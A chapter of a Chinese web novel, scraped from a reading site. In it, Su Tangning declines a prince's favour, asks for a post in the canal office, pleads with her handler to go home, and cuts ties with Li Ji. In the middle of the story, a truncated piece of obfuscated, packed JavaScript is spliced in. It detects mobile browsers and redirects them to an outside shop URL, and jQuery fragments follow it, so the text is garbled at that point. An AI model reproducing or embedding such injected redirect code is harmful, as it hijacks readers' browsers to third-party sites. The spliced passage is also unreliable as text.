默认冷灰
24号文字
方正启体

20. 再无瓜葛

作者:林到纱蔽本书字数:K更新时间:
    所有的应答都候在嘴边,却被这莫名的一问,绊住了舌头。


    “我是来给二哥送菜的,方才竟忘了给,也罢,他素日爱食荤,你尝尝合不合你的胃口。”萧景宸说着从蒙面暗卫的手中接过一个食盒。


    “小人不敢,小人今日食素。”苏棠宁低头答道。


    “好。”萧景宸答道,声音好似有些失落。


    苏棠宁不语。


    半晌他又扭头看了她一眼:“今日是我生辰,我不能总在这儿,你……可明白?”


    “恭送王爷。”苏棠宁拱手道。


    她自然知道今日是他的生辰。二十多年前的大年夜,皇五子同慕容家小姐同日降生,陛下大喜,故而每年大年夜,朝廷都会给大小官员们赐下厚赏。


    以往每年的大年夜她都会跟爹爹娘亲围着火炉,念叨着两位贵人的恩德,盘算着今年能攒下多少银钱来。


    可是银子太难攒了,每次好容易凑齐了一两,便总要有些什么事,将那一两拆碎成铜板。再怎么俭省,都挤不出整钱来。


    在景宸先生去书院前,她整整十年都未攒够一两纹银。


    所以当景宸先生第一次给她碎银时,她愣怔了许久,那好像是她此生第一次摸到银子。


    景宸先生来书院不过半月,她便攒了五十两,好似是她一生都挣不到的钱。


    一个足够买她性命的钱。


    “今夜你受委屈了,我许你个心愿,你尽管讲来。”萧景宸转过身,复又走了过来。


    我希望你永远不要再出现在我面前,苏棠宁在心底默默地想。


    半晌,她拱手道:“求王爷治好李大人的伤。”


    “这个何须多言,本王自有安排。快说心愿,一切皆可。”萧景宸郑重地说道。


    呵~睿王爷果真仁善。


    便是遇见路过的狗,王爷都想赐一个金骨头吧?


    苏棠宁冷笑着攥紧了拳头,声音却越发谦卑:“求王爷准小人入漕运司。”


    “你……好,我应你。”


    萧景宸抬步走出门时,二哥萧景渊正在街口等他。


    一见他出来,二哥便气冲冲地赶了过来。


    “给你带的晚膳,都是你素日爱吃的,吃吧。”萧景宸将手中食盒塞到他手里,耷拉着肩膀往马车上去。


    二哥此刻欣喜得登时忘记了发怒:“当真?你会给我送菜?”


    身后传来食盒打开的声音。


    “炙鹿肉、翡翠蹄髈、烤乳鸽、蒸熊掌???我何时爱吃这些了!”二哥在身后咆哮。


    “是啊,她也不爱吃。”萧景宸喃喃道。


    “谁?那个黑鬼?”二哥冲上来,挡到他身前。


    萧景宸轻叹一声:“明日安排她去漕运司。还有李寂你不得再为难他。否则我就告诉父皇,你大年夜在户部滥用私刑。”


    “萧景宸!你根本不知道你帮的是谁,那个李寂该死,罪该万死!”


    他轻轻扒拉开二哥的手,默默爬上马车:“进宫。”


    每年大年夜,他都从未离席。


    今夜贸然离开,父皇母后想必已生了大气。


    萧景宸快步往宫宴赶,却在宴席外看到了嫣儿。


    “景宸哥哥,我跟皇伯伯说,你离宫去替我寻糖葫芦了。”嫣儿说着从身后掏出一串糖葫芦,塞到他手中。


    嫣儿笑得好似只欢快的小鹿。


    “嫣儿,你不该……”


    “景宸哥哥,快些进殿吧,二哥偷偷离席,三哥他们正商量着罚他呢。”嫣儿笑着跑入殿中。


    萧景宸终是展开眉头,笑着跟入殿去。


    “二哥新学会了拿大顶,父皇,叫二哥做这个!”萧景宸说着走进殿中。


    二哥没好气地一拳挥了过来,萧景宸一个侧身,顺势带住二哥的手。


    二哥抬起另一只手,也砸了过来,萧景宸抬手将拳风稳稳攥住,而后一个运劲,二哥便被他甩着翻了个跟头。


    “好!”殿中一片喝彩。


    “二哥急了,二哥急了。”嫣儿欢喜地拍着手。


    萧景宸看向她,二人一同挑了挑眉。


    嫣儿心下了然,端起酒杯,站在一旁。


    萧景宸出手如电,三拳两脚便又将二哥擒住,顺手揪住他的后颈一个旋身,然后钳住他的双臂,肩头往下一按,将二哥送到嫣儿面前。


    嫣儿忙将酒杯凑了过去。


    “罚酒三杯,看你还敢不敢淘气。”嫣儿一气儿将三杯酒灌进萧景渊嘴中。


    席间桓王对着陛下拊掌笑道:“皇兄你瞧,偏他们二人淘气,总要捉弄捉弄景渊。”


    萧景宸松开了手,见二哥起身对着众人笑道:“嫣儿亲自送的酒,便是一万杯,我也饮得下。”


    众人笑作一团,母后眉目温柔。


    萧景宸回到座位,默默饮下一杯。


    突然想起那句:小人今日食素。


    *


    浓云遮月,路上看不见丝毫光亮,苏棠宁却脚下飞快,一路走过三条街巷,最后在巷尾一个极其窄小的门脸处住了足。


    “店家,店家!”陈旧的木板被她拍得咚咚直响。


    哐当一声,里间传来开门的声音,房中昏黄灯火一晃,吱呀一声轻响,门开了个缝。


    苏棠宁忙快步跨了进去。


    “先生!先生!”苏棠宁连声唤道。


    “住口,谁准你贸然往这里来!”易苒芳掀开后帘,披着外衫从里间走了出来。


    “先生!”苏棠宁一下扑到她怀里。


    “先生救我,齐王他要杀我。”苏棠宁嚎啕大哭起来。


    易苒芳忙搂着她把她拉了起来:“究竟是怎么回事?”


    苏棠宁手捧暖茶,抽抽嗒嗒说完来龙去脉,易苒芳却并未说话,只是起身往墙角去。


    苏棠宁将先生的外衫往身上紧了紧,泪眼汪汪扭头看去,就见她又端着一些炭回来。


    苏棠宁静静地看着她将炭尽数倒入盆中,又用火钳细细摆好炭堆,哐当一声,火钳落地,静谧的夜仿佛被惊得一颤。


    “先生。”苏棠宁终是又开口唤道。


    “有睿王护着,你死不了。”易苒芳并不看她,只望着面前火堆。


    “先生,我想回家。”苏棠宁怯生生地说道,心底的希冀却好似要冲出肺腑一般。


    “这事,我说了不算。”易苒芳微微皱起眉来,声音虽轻却带着十足的拒绝。


    苏棠宁垂下眼眸,心已沉到谷底。


    半晌却依旧不死心,小心翼翼做着最后的乞求:“先生,他答应我入漕运司了,可以把我的出山碟给我吗?我想寄给娘,让她安心。我……我不会走的,我一定好好在漕运司,办好先生吩咐的所有事。”


    “我……替你问问。”易苒芳说着便站起身来。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452120|201159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >望着她孤冷的背影,苏棠宁只觉心底的光亮一寸寸熄灭。


    “多谢先生。”她扯下身上披着的外衫,好生叠好放到一旁。这话她说的极轻,轻的不知先生有没有听见。


    街上比来时更黑了,静谧的连猫狗之声都不闻,苏棠宁一声轻叹,缓缓往前走去……


    寒夜清冷,夜风带走手中药瓶上残留的最后一丝余温。


    大年夜,李寂睡得极不安稳,嘴里喊了一夜的娘。清晨一睁眼,却又恢复了素日那副模样。


    “黑子,那么好的机会,你就只说了个漕运司?多少要个主事当当呀。”李寂嫌弃地撇了撇嘴,眼角的泪痣好似又有了光彩。


    “身上可好些了?”苏棠宁将帕子递了过去。


    “这也值当一问?婆婆妈妈,像个女人!”李寂趴在榻上也不知消停,一个挥臂将她推到了一旁。


    “那……你这心算是怎么练的,教我。”苏棠宁复又凑了上去,仔细地看着他。


    “别学,会死。”李寂声音突然冷了许多,眼眸好似浸了墨。


    苏棠宁便不再问。


    “倒是你,过目不忘的本事如何念的?”李寂挑眉问道。


    “三岁起,我娘常会揣上一文钱,带我去镇上的书斋。她会拿出一本书来让我背,何时背会何时才能回家。日落之前还没背完的话,娘便会把书买回去。可是若是早早背完了,娘就会把一文钱全都换成糖葫芦。”苏棠宁顺势坐在床边脚踏上。


    “这法子不错,最适合你这爱吃如命的。”李寂笑道。


    苏棠宁垂眸,并不答话。


    “然后呢?”


    “我总是背不会,便总是饿肚子,不管我怎么哭,娘都不会心软,所以每天都好饿,每天正午都对着太阳咽口水。不知这么饿了多久,约摸是六岁那年,村里人便都开始叫我神童。”苏棠宁声音越来越轻,直到最后仿佛不是同李寂说话,更像是自言自语一般。


    “不过是记性好点,如何就是神童了。”李寂嗤笑道。


    “是啊。”苏棠宁喃喃道。


    李寂缓缓将身子侧起,小心翼翼地生怕蹭着了屁股。


    苏棠宁并未伸手帮他,此刻她不可抑制地在想着:若是她不会背书就好了,这样爹爹便不会去外地做官,她也不会被送去书院。


    家里的银钱也不会相继变成束脩、笔墨纸砚。


    她也不会被人剪了头发赶出书院。


    更不会在昨晚,差点被人一剑砍了。


    若是从一开始她就不会背书,就好了……


    “我不喜欢背书,每次背时,都觉得腹痛。”她眼中好似结了霜。


    “懒病犯了,懒鬼都是你这样。”李寂笑道。


    苏棠宁终是被逗笑,站起身,往外走去。


    走至门口,她突然记起很重要的一件事:“齐王为什么想杀你?”


    李寂撑起身子,勾唇笑道:“因为他娘子跟我跑了!”


    苏棠宁并未答言,双手扶着门:“我的行李今日就会搬走,你的宅子,我不租了。”


    昨夜她猪油蒙了心,才会想死,可如今她想活,随便怎样都行,她必须活。


    她未回头,并看不清李寂的神色,只听得一声:“好。”


    “告辞。”苏棠宁踏出门去。


    她与李寂绝非同路人,今日起,再无瓜葛。


    “等下。”李寂唤道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)